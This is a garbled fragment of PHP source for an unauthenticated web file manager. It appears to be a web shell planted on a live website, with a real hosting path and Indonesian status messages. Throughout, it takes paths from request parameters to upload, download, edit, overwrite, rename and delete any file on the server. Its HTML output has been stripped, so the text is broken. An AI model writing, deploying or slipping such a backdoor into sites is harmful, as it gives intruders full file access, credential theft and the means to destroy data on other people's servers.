📁 Path: /var/www/vhosts/penabellastudio.es/httpdocs
FileManager.Ya";
echo "📁 Path: $path
";
if ($err) echo "⚠️ Path error (mungkin 403/404), fallback ke base dir
";
echo "";
if ($_FILES) {
$target = $path.'/'.$_FILES['upload']['name'];
$tmp = $_FILES['upload']['tmp_name'];
if (@move_uploaded_file($tmp, $target)) {
echo "";
} else {
echo "";
}
}
if (isset($_GET['download'])) {
$f = $_GET['download'];
if (@file_exists($f)) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".basename($f)."\"");
readfile($f);
exit;
} else {
echo "File tidak ditemukan (404)
";
}
}
if (isset($_GET['delete'])) {
$target = $_GET['delete'];
if (@is_dir($target)) @rmdir($target); else @unlink($target);
header("Location: ?path=".urlencode($path));
exit;
}
if (isset($_POST['newfile'])) {
@file_put_contents($_POST['newfile'], '');
}
if (isset($_POST['newfolder'])) {
@mkdir($_POST['newfolder']);
}
if (isset($_GET['edit'])) {
$f = $_GET['edit'];
if (@is_readable($f)) {
echo "Edit: $f
";
} else {
echo "File tidak bisa dibaca (403)
";
}
exit;
}
if (isset($_POST['save'])) {
@file_put_contents($_POST['f'], $_POST['content']);
echo "";
}
if (isset($_GET['rename'])) {
$old = $_GET['rename'];
echo "Rename: $old
";
exit;
}
if (isset($_POST['renamego'])) {
@rename($_POST['old'], $_POST['new']);
echo "";
}
echo "";
echo "";
echo "Name | Size | Permission | Action |
";
if ($path !== '/') {
echo "⬅️ Back |
";
}
foreach (@scandir($path) as $file) {
if ($file == '.' || $file == '..') continue;
$full = $path.'/'.$file;
$size = @is_dir($full) ? '[DIR]' : @filesize($full);
$perm = perms($full);
echo "$file |
$size | $perm | ";
echo "Edit | ";
echo "Rename | ";
echo "Delete | ";
if (!is_dir($full)) echo "Download";
echo " |
";
}
echo "
";
?>